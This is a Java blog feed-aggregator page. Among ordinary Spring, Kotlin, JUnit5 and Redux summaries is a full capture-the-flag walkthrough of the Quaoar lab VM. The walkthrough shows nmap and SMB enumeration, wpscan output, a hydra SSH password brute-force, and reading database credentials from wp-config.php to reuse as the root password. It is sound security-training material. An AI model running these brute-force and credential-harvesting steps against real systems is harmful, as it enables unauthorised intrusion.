Feed aggregator

Spring Tips: Spring Tool Suite 4 [Video]

Javalobby Syndicated Feed - Wed, 06-Dec-17 04:01

Hi Spring fans! In this Spring Tips, we’ll look at Spring Tool Suite 4, new runtime feedback and the IDE-agnostic language servers that underpin all of it. I’m releasing this Spring Tips installment early, just in time SpringOne Platform 2017 and the big announcements of the day.


Speaker: Josh Long

Categories: Java

Which Is the Right Java Abstraction for JSON

Javalobby Syndicated Feed - Wed, 06-Dec-17 01:01

Here's a simple definition of JSON:

JSON (JavaScript Object Notation) is a lightweight data-interchange format. Its job is to deliver data payload between the client and the server.

When our server receives a JSON string, we are supposed to parse the data and load it into apt data structures depending on the server-side language. So, assuming we are using Java on the server side, we are supposed to parse it into apt data structures for Java. 

Categories: Java

Analyze Streaming Data With Nashorn in Java 9

Javalobby Syndicated Feed - Tue, 05-Dec-17 22:01

Nashorn, JDK's built-in JavaScript engine, has been around for some time now. It was first released as part of Java 8 in March 2014. While Nashorn can address a broad range of use cases, its usage falls primarily under three areas:

  1. Command line interfaces (CLI) and scripting. CLIs were traditionally written using shell scripts or other dynamic/interpretive languages like Perl and Python. With Nashorn, you can use JavaScript for your scripting needs all the while seamlessly tapping into the Java ecosystem.  

Categories: Java

Annotated Controllers: Spring Web/WebFlux and Testing

Javalobby Syndicated Feed - Tue, 05-Dec-17 14:01

Spring WebFlux and Spring Web are two entirely different web stacks. Spring Webflux, however, continues to support an annotation-based programming model

An endpoint defined using these two stacks may look similar, but the way to test such an endpoint is fairly different, and a user writing such an endpoint has to be aware of which stack is active and formulate the test accordingly.

Categories: Java

Nanosecond Precise Logging With Tinylog

Javalobby Syndicated Feed - Tue, 05-Dec-17 10:01

In version 1.3, the logging framework tinylog can output log entries with nanosecond precision timestamps under Java 9. With version 9, Java offers, for the first time, the possibility to retrieve the current system time with nanosecond precision. In older Java versions, the precision is limited to milliseconds. However, there were regular requests, especially from the finance sector, to log events with microsecond precision. This is finally possible with tinylog 1.3.

Example With Tinylog

With tinylog, typically, properties files are used for configuring the open-source logging framework. Alternatively, there is also a fluent Java API for configuring tinylog. The example configuration below shows how to configure tinylog via a properties file to output log messages with microsecond precision on the console:

Categories: Java

A Kotlin Type Inference Puzzler

Javalobby Syndicated Feed - Tue, 05-Dec-17 04:01

Kotlin takes type inference to the next level (at least in comparison to Java), which is great, but there are scenarios in which it can backfire on us.

The Riddle

fun foo(int: Int?) = {
    println(int)
}

fun main(args: Array<String>) {
    listOf(42).forEach { foo(it) }
}


Categories: Java

Penetration Test Training – Quaoar

codecentric Blog - Tue, 05-Dec-17 01:30

For anyone interested in Penetration Testing and IT Security, there is the need to test the theoretical skills you might have acquired. To give people who are interested a means to do so without violating the law, Capture-the-Flag (CTF) Images exist. A CTF challenge is (usually) a virtual machine especially crafted with security vulnerabilities in it. The flags are text files that you must discover.
Previously, we solved the LazySysAdmin CTF challenge – today we’re using the Quaoar VM from vulnhub.

To get this VM, either to tag along while reading or if you’re interested and want to solve it by yourself, download it and import it into VirtualBox. A word of advice: Never let a downloaded VM directly into your network. Use a host-only network to reach the virtual machine from your host machine.

But now, let’s get started!
Remember to save anything that looks like it’s a username or could be a password in a file. This information might be useful later on.

The Quaoar-VM is set up to use the network adapter vboxnet0. So as a first step, we need to find it on the network.

$ netdiscover -i vboxnet0
192.168.99.101

As we’ll need that IP Adress a few times, I’ll export it to save myself some typing.

$ export IP=192.168.99.101

Now we can use $IP instead of typing it out all the time.

Enumeration

To get a general overview of the target machine, the ports are enumerated with

$ nmap -A $IP

Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-06 21:51 CET
Nmap scan report for 192.168.99.101
Host is up (0.0020s latency).
Not shown: 991 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
[...]
53/tcp  open  domain      ISC BIND 9.8.1-P1
[...]
80/tcp  open  http        Apache httpd 2.2.22 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_Hackers
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
110/tcp open  pop3        Dovecot pop3d
[...]
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
|_imap-capabilities: LOGINDISABLEDA0001 more IMAP4rev1 listed post-login have SASL-IR ID ENABLE STARTTLS capabilities LITERAL+ Pre-login IDLE OK LOGIN-REFERRALS
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
[...]
445/tcp open  netbios-ssn Samba smbd 3.6.3 (workgroup: WORKGROUP)
993/tcp open  ssl/imap    Dovecot imapd
|_imap-capabilities: AUTH=PLAINA0001 IMAP4rev1 more post-login have SASL-IR ID ENABLE listed capabilities LITERAL+ Pre-login IDLE OK LOGIN-REFERRALS
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
[...]
995/tcp open  ssl/pop3    Dovecot pop3d
|_pop3-capabilities: PIPELINING TOP UIDL SASL(PLAIN) USER CAPA RESP-CODES
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 59m57s, deviation: 0s, median: 59m57s
|_nbstat: NetBIOS name: QUAOAR, NetBIOS user: , NetBIOS MAC:  (unknown)
| smb-os-discovery:
|   OS: Unix (Samba 3.6.3)
|   NetBIOS computer name:
|   Workgroup: WORKGROUP\x00
|_  System time: 2017-11-06T16:51:39-05:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.02 seconds

So we got to know quite a lot about the system. We have open ports for ssh, http, smb and pop3 – among others. We also know there is an apache webserver running on port 80 and according to the robots.txt there is a wordpress installation.

WordPress

Let’s see what wpscan tells us about that wordpress instance:

$ wpscan --url $IP
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 2.9.3
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://192.168.99.101/wordpress/
[+] Started: Mon Nov 6 21:55:33 2017

[!] The WordPress 'http://192.168.99.101/wordpress/readme.html' file exists exposing a version number
[+] Interesting header: SERVER: Apache/2.2.22 (Ubuntu)
[+] Interesting header: X-POWERED-BY: PHP/5.3.10-1ubuntu3
[+] XML-RPC Interface available under: http://192.168.99.101/wordpress/xmlrpc.php
[!] Upload directory has directory listing enabled: http://192.168.99.101/wordpress/wp-content/uploads/
[!] Includes directory has directory listing enabled: http://192.168.99.101/wordpress/wp-includes/

[+] WordPress version 3.9.14 (Released on 2016-09-07) identified from advanced fingerprinting, meta generator, readme, links opml, stylesheets numbers
[!] 20 vulnerabilities identified from the version number

[!] Title: WordPress 2.9-4.7 - Authenticated Cross-Site scripting (XSS) in update-core.php
Reference: https://wpvulndb.com/vulnerabilities/8716
[...]
[i] Fixed in: 3.9.15

[!] Title: WordPress 3.4-4.7 - Stored Cross-Site Scripting (XSS) via Theme Name fallback
Reference: https://wpvulndb.com/vulnerabilities/8718
[...]
[i] Fixed in: 3.9.15

[!] Title: WordPress <= 4.7 - Post via Email Checks mail.example.com by Default 
Reference: https://wpvulndb.com/vulnerabilities/8719 
[...]
[i] Fixed in: 3.9.15 

[!] Title: WordPress 2.8-4.7 - Accessibility Mode Cross-Site Request Forgery (CSRF) 
Reference: https://wpvulndb.com/vulnerabilities/8720
[...]
[i] Fixed in: 3.9.15 

[!] Title: WordPress 3.0-4.7 - Cryptographically Weak Pseudo-Random Number Generator (PRNG) 
Reference: https://wpvulndb.com/vulnerabilities/8721 
[...]
[i] Fixed in: 3.9.15 

[!] Title: WordPress 3.5-4.7.1 - WP_Query SQL Injection 
Reference: https://wpvulndb.com/vulnerabilities/8730 
[...]
[i] Fixed in: 3.9.16 

[!] Title: WordPress 3.6.0-4.7.2 - Authenticated Cross-Site Scripting (XSS) via Media File Metadata 
Reference: https://wpvulndb.com/vulnerabilities/8765 
[...]
[i] Fixed in: 3.9.17 

[!] Title: WordPress 2.8.1-4.7.2 - Control Characters in Redirect URL Validation 
Reference: https://wpvulndb.com/vulnerabilities/8766 
[...]
[i] Fixed in: 3.9.17 

[!] Title: WordPress 2.3-4.8.3 - Host Header Injection in Password Reset 
Reference: https://wpvulndb.com/vulnerabilities/8807 
[...] 

[!] Title: WordPress 2.7.0-4.7.4 - Insufficient Redirect Validation 
Reference: https://wpvulndb.com/vulnerabilities/8815 
[...]
[i] Fixed in: 3.9.19 

[!] Title: WordPress 2.5.0-4.7.4 - Post Meta Data Values Improper Handling in XML-RPC Reference: https://wpvulndb.com/vulnerabilities/8816 
Reference: https://wordpress.org/news/2017/05/wordpress-4-7-5/ 
[...]
[i] Fixed in: 3.9.19 

[!] Title: WordPress 3.4.0-4.7.4 - XML-RPC Post Meta Data Lack of Capability Checks 
Reference: https://wpvulndb.com/vulnerabilities/8817 
[...]
[i] Fixed in: 3.9.19 

[!] Title: WordPress 2.5.0-4.7.4 - Filesystem Credentials Dialog CSRF 
Reference: https://wpvulndb.com/vulnerabilities/8818 
[...]
[i] Fixed in: 3.9.19 

[!] Title: WordPress 3.3-4.7.4 - Large File Upload Error XSS 
Reference: https://wpvulndb.com/vulnerabilities/8819 
[...]
[i] Fixed in: 3.9.19 

[!] Title: WordPress 3.4.0-4.7.4 - Customizer XSS & CSRF 
Reference: https://wpvulndb.com/vulnerabilities/8820 
[...]
[i] Fixed in: 3.9.19 

[!] Title: WordPress 2.3.0-4.8.1 - $wpdb->prepare() potential SQL Injection
Reference: https://wpvulndb.com/vulnerabilities/8905
[...]
[i] Fixed in: 3.9.20

[!] Title: WordPress 2.3.0-4.7.4 - Authenticated SQL injection
Reference: https://wpvulndb.com/vulnerabilities/8906
[...]
[i] Fixed in: 4.7.5

[!] Title: WordPress 2.9.2-4.8.1 - Open Redirect
Reference: https://wpvulndb.com/vulnerabilities/8910
[...]
[i] Fixed in: 3.9.20

[!] Title: WordPress 3.0-4.8.1 - Path Traversal in Unzipping
Reference: https://wpvulndb.com/vulnerabilities/8911
[...]
[i] Fixed in: 3.9.20

[!] Title: WordPress <= 4.8.2 - $wpdb->prepare() Weakness
Reference: https://wpvulndb.com/vulnerabilities/8941
[...]
[i] Fixed in: 3.9.21

[+] WordPress theme in use: twentyfourteen - v1.1

[+] Name: twentyfourteen - v1.1
| Last updated: 2017-06-08T00:00:00.000Z
| Location: http://192.168.99.101/wordpress/wp-content/themes/twentyfourteen/
[!] The version is out of date, the latest version is 2.0
| Style URL: http://192.168.99.101/wordpress/wp-content/themes/twentyfourteen/style.css
| Referenced style.css: wp-content/themes/twentyfourteen/style.css
| Theme Name: Twenty Fourteen
| Theme URI: http://wordpress.org/themes/twentyfourteen
| Description: In 2014, our default theme lets you create a responsive magazine website with a sleek, modern des...
| Author: the WordPress team
| Author URI: http://wordpress.org/

[+] Enumerating plugins from passive detection ...
[+] No plugins found

[+] Finished: Mon Nov 6 21:55:37 2017
[+] Requests Done: 49
[+] Memory used: 32.5 MB
[+] Elapsed time: 00:00:03

Ok, that’s quite a lot of information. To process. But before focussing too much on wordpress, we’ll stick to enumeration for now. Let’s take a look at the samba-shares.

Samba

Enumerate the users first. Luckily, there’s a nmap-script for that:

$ nmap --script smb-enum-users.nse -p 445 $IP

Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-06 21:58 CET
Nmap scan report for 192.168.99.101
Host is up (0.00089s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds

Host script results:
| smb-enum-users:
| QUAOAR\nobody (RID: 501)
| Full name: nobody
| Description:
| Flags: Normal user account
| QUAOAR\root (RID: 1001)
| Full name: root
| Description:
| Flags: Normal user account
| QUAOAR\viper (RID: 1000)
| Full name: viper
| Description:
| Flags: Normal user account
| QUAOAR\wpadmin (RID: 1002)
| Full name:
| Description:
|_ Flags: Normal user account

Ok. So we see some usernames: nobody, root, viper and wpadmin. We’ll take note of them. Now we can check if there are any shares accessible:

$ nmap --script smb-enum-shares.nse -p 445 $IP

Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-06 22:01 CET
Nmap scan report for 192.168.99.101
Host is up (0.00067s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds

Host script results:
| smb-enum-shares:
| account_used: guest
| \\192.168.99.101\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (Quaoar server (Samba, Ubuntu))
| Users: 1
| Max Users:
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\192.168.99.101\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users:
| Path: C:\var\lib\samba\printers
| Anonymous access:
|_ Current user access:

Nmap done: 1 IP address (1 host up) scanned in 0.71 seconds

This looks like we’re on to something here. A guest share with read/write access! We can now try to connect to that share!

$ smbclient //$IP/IPC$ -N

The prompt changes. Looks like we’re in!

smb: \>

Unfortunately, we can’t do anything on here:

smb: \> dir
NT_STATUS_ACCESS_DENIED listing \*

Let’s leave that trace for now. We gathered quite a lot of information already and can try to gain access with the information.

Attack

With everything we discovered so far, we’re ready to take hydra for a spin and check if we already have valid credentials. Hydra is a login cracker that supports a lot of common protocols. The

info.txt

is the file where I saved everything that looked like a user account or a possible password during enumeration.

$ hydra -L info.txt -P info.txt -u $IP ssh -t 4
[22][ssh] host: 192.168.99.101 login: wpadmin password: wpadmin

Ok, we got our entry point!

$ ssh wpadmin@$IP

Let’s check if we have any interesting groups assigned.

$ id
uid=1001(wpadmin) gid=1001(wpadmin) groups=1001(wpadmin)

Nothing. But we have our first flag.

$ ls
flag.txt
$ cat flag.txt
2bafe61f03117ac66a73c3c514de796e

It’s safe to assume the user wpadmin has at least read-rights for the wordpress installation. Let’s check it out and see if we get some more information!

cd /var/www/wordpress
cat wp-config.php | grep DB_
define('DB_NAME', 'wordpress');
define('DB_USER', 'root');
define('DB_PASSWORD', 'rootpassword!');
define('DB_HOST', 'localhost');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');

Another password, great! Let’s see, if this is the real root password for this box:

$ ssh root@$IP
root@192.168.99.101's password:
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic-pae i686)

* Documentation: https://help.ubuntu.com/

System information as of Mon Nov 6 18:40:50 EST 2017

System load: 0.47 Processes: 95
Usage of /: 29.9% of 7.21GB Users logged in: 0
Memory usage: 32% IP address for eth0: 192.168.99.101
Swap usage: 0% IP address for virbr0: 192.168.122.1

Graph this data and manage this system at https://landscape.canonical.com/

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sun Jan 15 11:23:45 2017 from desktop-g0lhb7o.snolet.com

OK, let’s see.

root@Quaoar:~# ls
flag.txt vmware-tools-distrib

Now we have the second flag.

root@Quaoar:~# cat flag.txt 8e3f9ec016e3598c5eec11fd3d73f6fb

Learnings

We got it. Time to take a step back and have a look what we learned during the penetration test of this VM:

  • Enumeration is key. There’s a lot information hidden in plain sight.
  • If you’re running any sort of service, don’t reuse passwords.
  • Disable everything you do not need on your systems.

The post Penetration Test Training – Quaoar appeared first on codecentric AG Blog.

Categories: Agile, Java, TDD & BDD

Joker 2017: Cloud Native Java EE [Video]

Javalobby Syndicated Feed - Tue, 05-Dec-17 01:01
The recording of my Joker 2017 presentation “Cloud native Java EE” is available.

This talk shows what it takes to implement cloud-ready, adaptive, and scalable applications using Java EE — as well as which extensions are out there that help us do the job and why Java EE perfectly fits the container and orchestration world.

Categories: Java

Make Your Life Easier With Kotlin stdlib

Javalobby Syndicated Feed - Mon, 04-Dec-17 22:01

IMHO, Kotlin is not about big killer features — although extension methods and properties could certainly be categorized as such. Rather, I feel it is about a bunch of small improvements that have a deep impact. Most of them are not built into the language but are functions offered as part of the Kotlin standard library. In this post, I’d like to go through a limited set of them and describe how they can be used to improve the code.

TODO()

It’s quite common to have //TODO comments in a new codebase. For most of us developers, it might even be a reflex. When the flow comes in, don’t stop because of a lack of specification, but write down a reminder to get back to it later. Whatever later means. Even IDEs happily generate code with such comments.

Categories: Java

Mapping XML to Java Using Smooks Mediator

Javalobby Syndicated Feed - Mon, 04-Dec-17 14:01

In this post, we will show how we can use Smooks Mediator to transform an XML message into Java objects.

In this example, we will map an XML Message into a list of HashMaps.

Categories: Java

Morning Java: Performance, Kotlin, and EE4J

Javalobby Syndicated Feed - Mon, 04-Dec-17 10:01

It's time for your morning news break! Get caught up with the latest, greatest Java news around DZone and the web at large. Big news came in the form of the EE4J announcement as well as a couple of solid pieces comparing Kotlin to other JVM languages (mostly Java). But if you're a happy Java camper, make sure your code is performant with some simple tips and dive into how to turn the passing by value requirement in Java into a bonus.

It's Java'clock

  • Kotlin Features I Miss in Java, by Simon Wirtz. After using both Kotlin and Java, here are one dev's thoughts on the Kotlin features he misses the most when working in Java.
  • Run Your App as a Service on Ubuntu, by Muhammad Sarwar. Bring your JAR file to Ubuntu as a service using this example service wrapper. See how to make it work, including tips for automatic starts and logging.
  • How Spring MVC Really Works, by Eugen Paraschiv. In this post, we take a look at how powerful the features included in Spring MVC can be used to great effect in a web application.
  • 11 Simple Java Performance Tuning Tips, by Thorben Janssen. Want to keep your programs running performantly? Here are some steps you can take to eliminate bottlenecks, tips for caching, and other performance tuning suggestions.
  • Passing by Value vs. Passing by Reference in Java, by Justin Albano. While many languages put information passing into the hands of developers, all data is passed by value in Java. See how to turn that restriction to your advantage.

By the way, if you're interested in writing for your fellow DZoners, feel free to check out our Writers' Zone, where you can also find some current hot topics and our Bounty Board, which has writing prompts coupled with prizes.

Categories: Java

Embrace JUnit5

Javalobby Syndicated Feed - Mon, 04-Dec-17 04:01

JUnit5 is the upgraded version of the JUnit Testing Framework and it is also referred as JUnit5 — The Next Gen Tool. This tool was developed from scratch and written completely in Java 8. The goal is to create an up-to-date foundation for developer-side testing on the JVM. This includes focusing on Java 8 and above, as well as enabling many different styles of testing. JUnit5 is the result of JUnit Lambda and its crowdfunding campaign on Indiegogo.

WHY JUnit5

  • JUnit4 was created almost a decade ago and in this span, technology has evolved immensely — and testing activities have also matured. Software engineers and testers demanded an extensible testing framework.
  • JUnit4 was very monolithic. Apart from including the hamcrest JAR (a library to assist software tests using the Java language), JUnit4 is itself one bulky JAR (junitxx.jar), which was used by both developers, testers, IDEs, and build tools (Maven/Gradle). Hence, it was difficult to maintain or extend it.
  • JUnit4 is not modular (there is a single junit.jar dependency for everything). Test discovery and execution were tightly coupled in JUnit4.
  • Using multiple runners/rules within a single test class like Runners were not composable. This is required when we are working with Spring Framework using a third-party Test engine like TestNG or Mockito. And also, JUnit4 does not allow single Rule (@Rule, @ClassRule) at the method level and class level.
  • All tests were done at compile time. There was no way to test dynamic values.

Enter JUnit5

  • JUnit5 is written completely in Java 8 from scratch and uses newer features — and is compatible with Java 9.
  • JUnit5 comes with a BDD approach and uses lambda programming. In fact, it was called JUnit Lambda previously.
  • JUnit5 comes with various new features and a next-generation architecture, where it is modular, extensible, and has seamless integration with other frameworks like Spring or Mockito.
  • Backward compatibility with the JUnit4 and JUnit3 frameworks. Previously written test classes in JUnit4 and JUnit3 can work seamlessly with the JUnit5 test engine.
  • JUnit5 incorporated a functional type of programming.

JUnit5 Architecture

JUnit5 is modular:

Categories: Java

Arquillian for Infrastructure Testing

Javalobby Syndicated Feed - Mon, 04-Dec-17 01:01

In a previous blog post, we had a look at how Arquillian solves the problem of testing real objects as they exist in a real application server. While this is perhaps the more traditional way Arquillian is used, it is not the only way.

One of the challenges writing a tool like Octopus is that it has to support a huge range of Java application servers. Right now we support:

Categories: Java

Spring Boot and Spring JDBC With H2

Javalobby Syndicated Feed - Sun, 03-Dec-17 23:01

This guide will help you create a simple project with Spring Boot. You will add code to the project to connect to a database using Spring JDBC. You will also learn to write all the CRUD methods.

Project Code Structure

Following screenshot shows the structure of the project we will create. Image

Categories: Java

Converting XML to JSON, Raw Use in MongoDB, and Spring Batch

Javalobby Syndicated Feed - Sat, 02-Dec-17 23:01

Since MongoDB uses JSON documents in order to store records, just as tables and rows store records in a relational database, we naturally need to convert our XML to JSON.

Some applications may need to store raw (unmodified) JSON because there is uncertainty in how the data will be structured.

Categories: Java

Developing modern offline apps with ReactJS, Redux and Electron – Part 3 – ReactJS + Redux

codecentric Blog - Sat, 02-Dec-17 23:00

In the last article we introduced you to the core features and concepts of React. We also talked about the possibility to save data in the component state, pass it to child components and access the data inside a child component by using props. In this article we will introduce Redux, which solves the problem of storing your application state.

 

  1. Introduction
  2. ReactJS
  3. ReactJS + Redux
  4. Electron framework
  5. ES5 vs. ES6 vs. TypeScript
  6. WebPack
  7. Build, test and release process

Once a component needs to share state with another component, that it does not have a parent-child relationship with, things start to get complicated. The following diagram visualizes that problem. On the left hand side, you see a tree of React components. Once a component initiates a state change, this change needs to be propagated to all other components that rely on the changed data.

This is where Redux comes in handy. Redux is a predictable state container for JavaScript apps. The state is kept in one store and components listen to the data in the store that they are interested in.

Flux pattern

Redux implements the Flux pattern that manages the data flow in your application. The view components subscribe to the store and react on changes. Components can dispatch actions that describe what should happen. The Reducers receive these actions and update the store. A detailed explanation of the four parts of the flux pattern in Redux is given in the next sections.

Redux

The Redux state stores the whole application data in one object tree that is accessible from every component of the application. In our example the state contains a small JavaScript object, as you can see in the following code snippet.

const state = {
  isModalOpen: false,
  clipboard: {
    commands[]
  } 
}

The state is immutable and the only way to change it, is to dispatch an action.

Action

Actions are plain JavaScript objects consisting of a mandatory TYPE property to identify the action and optional information. The type should be a string constant that is stored in a separate module to obtain more clarity. There are no naming specifications for the implementation of the object with the additional information. The following example action sets the value of isModalOpen to false.

actionConstants.js
const SET_MODAL_OPEN = ‘SET_MODAL_OPEN’;
modalAction.js
{
  type: SET_MODAL_OPEN,
  payload: false
}

Alternatively you can use an action creator, to create the action. They make the action more flexible and easy to test. In our example we use one action, to set isModalOpen variable to false or true.

function setModalOpen(isModalOpen) {
  return {
    type: SET_MODAL_OPEN,
    payload: isModalOpen
  };
}

The question remains, how you can trigger the action. Answer: Simply pass the action to the dispatch() function.

dispatch(setModalOpen(false));

Alternatively you can use a bound action creator that dispatches the action automatically, when you call the function. Here is an example for that use case:

Bound Action Creator
const openModal = () => dispatch(setIsModalOpen(true));

So far we can dispatch an action that indicates that the state has to change, but still the state did not change. To do that we need a reducer.

Reducer

“Reducers are just pure functions that take the previous state and an action, and return the next state.” [REDUCER]

The reducer contains a switch statement with a case for each action and a default case which returns the actual state. It is important to note that the Redux state is immutable, so you have to create a copy from the state that will be modified. In our projects we use the object spread operator proposal, but you can also use Object.assign(). The following example sets isModalOpen to the value of the action payload and keeps the other state values.

Object spread operator Object.assign()
function modal(state, action) {
  switch (action.type) {
    case SET_MODAL_OPEN: 
      return {
        ...state,
        isModalOpen: action.payload
      })
      default:
        return state
    }
}
function modal(state, action) {
  switch (action.type) {
    case SET_MODAL_OPEN: 
      return Object.assign({}, state, {
        isModalOpen: action.payload
      })
    default:
      return state
  }
}

The Reducer can either take the previous state if one exists or the optional initial state to define a default on the store properties. In our example we configure that the modal should be closed initially.

const initialState = {
  isModalOpen: false
};

function modal(state = initialState, action) {
  switch (action.type) {
    case SET_MODAL_OPEN: 
      return {
        ...state,
        isModalOpen: action.payload
      })
    default:
      return state
   }
}

The number of reducers can become very large, thus it is recommended to split the reducers into separate files, keep them independent and use combineReducers() to turn all reducing functions into one, which is necessary for the store creation.

Store

We have already talked a lot about the store, but we have not looked at how to create the store. Redux provides a function called createStore() which takes the reducer function and optionally the initial state as an argument. The following code snippets show how to combine multiple reducers, before creating the store.

One reducer
import { createStore } from 'redux';

const initialState = {
  isModalOpen: false,
  clipboard: {
    commands[]
  } 
};

let store = createStore(modalReducer, initialState);
Two combined reducer
import { createStore, combineReducers } from 'redux'; 

const initialState = {
  isModalOpen: false,
  clipboard: {
    commands[]
  } 
};

const reducer = combineReducers({
  clipboardReducer,
  modalReducer
});

let store = createStore(reducer, initialState);

Usage with React

We showed how to create and manipulate the store, but we did not talk about how a component access the store. The component can use store.subscribe() to read objects of the state tree, but we suggest to use the React Redux function connect(), which prevents unnecessary re-renders.

The function connect() expects two functions as arguments, called mapStateToProps and mapDispatchToProps. Decorators are part of ES7 which we cover in blog article 5 on “ES5 vs. ES6 vs. TypeScript”.

With a decorator (ES7) Without a decorator
@connect(mapStateToProps, mapDispatchToProps)

class App extends React.Component {
  render() {
    return (
      <div>
        Count: {this.props.counter}
      </div> 
     );
  }
}


class App extends React.Component {
  render() {
    return (
      <div>
        Count: {this.props.counter}
      </div> 
    );
  }
}

export default connect(
  mapStateToProps, 
  mapDispatchToProps)(App);

mapDispatchToProps defines which actions you want to be able to trigger inside your component. For example we want the Modal to inject a prop called onSetModalOpen, which dispatches the SET_MODAL_OPEN action. If the action creator arguments match the callback property arguments you can use a shorthand notation.

mapDispatchToProps Shorthand notation
const mapDispatchToProps = dispatch => ({
  onSetModalOpen(value) {
    dispatch(setModalOpen(value));
  }
});

connect(mapStateToProps, mapDispatchToProps)(App);
connect(
  mapStateToProps, 
  {onSetModalOpen: setModalOpen}
)(App);



mapStateToProps defines how to convert the state to the props you need inside your component.

const mapStateToProps = state => ({
  isModalOpen: state.modal.isModalOpen,
  clipboard:   state.clipboard    
});

To handle the growing complexity of the store as you write business applications, we recommend to use selectors that are functions that know how to extract a specific piece of data from the store. In our small example selectors do not offer much benefit.

Selector mapStateToProps
const getModal = (state) => {
  return state.modal;
};

const getIsModalOpen = (state) => {{
  return getModal(state).isModalOpen;
};
const mapStateToProps = state => ({
  isModalOpen: getIsModalOpen(state),
  clipboard:   getClipboard(state)
});



Debugging using the Console Logger

Redux provides a predictable and transparent state, that only changes after dispatching an action. To isolate errors in your application state you can use a middleware like redux-logger instead of manually adding console logs to your code.  The following code snippet shows how to configure the default redux logger.

import { applyMiddleware, createStore } from 'redux';
import { logger } from 'redux-logger';
const store = createStore(
  reducer,
  applyMiddleware(logger)
);

When running your React application the redux logger will print the actions to your browser console. By default you see the action name and you can collapse each action to see more details.


In the details view the redux logger shows the previous state of the redux store, then the action with the payload you triggered and after that next state with the new state.

 

Redux logger provides various configuration options. You can specify which entries should be collapsed by default, or which actions should not be logged to the console, just to name a few.

import { applyMiddleware, createStore } from 'redux';
import { logger } from 'redux-logger';
const logger = createLogger({
  collapsed: (getState, action, logEntry) => !logEntry.error,
  predicate: (getState, action) => 
    action  && action.type !== ‘SET_LINES’
});

const store = createStore(
  reducer,
  applyMiddleware(logger)
);

Summary

In this article we showed how useful Redux is to manage the state of applications. The simple flux pattern scales extremely well also for large applications and we did not run into any critical performance issues so far in our projects. In the next article we will introduce Electron and show how to package our React/Redux web app as a cross platform desktop application. Stay tuned

Categories: Agile, Java, TDD & BDD

Start to Love Spring Testing With the Unit Test Assistant for Java

Javalobby Syndicated Feed - Fri, 01-Dec-17 23:01

The Spring framework (along with Spring Boot) is one of the most popular Java enterprise software frameworks. Its use in mission-critical applications means it has come under scrutiny for quality and security. In a previous post, we discussed how developers don’t like unit testing despite its proven track record of improvement, and detailed how Parasoft’s Unit Test Assistant can provide a guided and automated approach to testing to make testing not only more palatable, but also easier and more efficient. In this post, I'll continue the same theme with the Spring framework, showing you how automated and guided testing can be leveraged in this important application framework. From here on out, I'll refer to the Unit Test Assistant by its acronymn, UTA.

The Challenges of Testing Spring Applications

The Spring framework comes with nice support for integration testing, but a lot of manual coding is required to set up test cases properly. Building and maintaining tests for Spring applications presents developers with a unique set of challenges, including the following:

Categories: Java

Easily Return Values From a Transaction With Speedment

Javalobby Syndicated Feed - Fri, 01-Dec-17 14:01

In my previous post, I wrote about how to use Transactions in an easy way using Speedment where we updated two bank accounts atomically. As you all might know, transactions are a way of combining a number of database operation into a single operation that is atomically executed.

But transactions are not only about updating the database but also about performing atomic reads. With Speedment, we can compute values atomically using Java streams and then return the result to something outside the scope of the transaction in an easy way.

Categories: Java

European Java Conference Roundup

Javalobby Syndicated Feed - Fri, 01-Dec-17 10:01
Duke goes to conference

November was a busy month, primarily because it seems that it was the most popular month to organize a European Java conference. I guess this makes sense, as it’s just after JavaOne, so there are various new things to discuss and it’s not a holiday season (Europe is untroubled by any form of Thanksgiving). It’s also late autumn, which makes it an ideal time to spend all day in a dark room since it won’t be much different outside.

I thought it would be interesting to write up a summary of the conferences I’ve attended and my impressions.

Categories: Java

Java: 2017 Surprises and 2018 Predictions

Javalobby Syndicated Feed - Fri, 01-Dec-17 04:01

Given how fast technology is changing, we thought it would be interesting to ask IT executives to share their thoughts on the biggest surprises in 2017 and their predictions for 2018.

Here's what they told us about Java.

Categories: Java

Thread Slivers eBook at Amazon

Syndicate content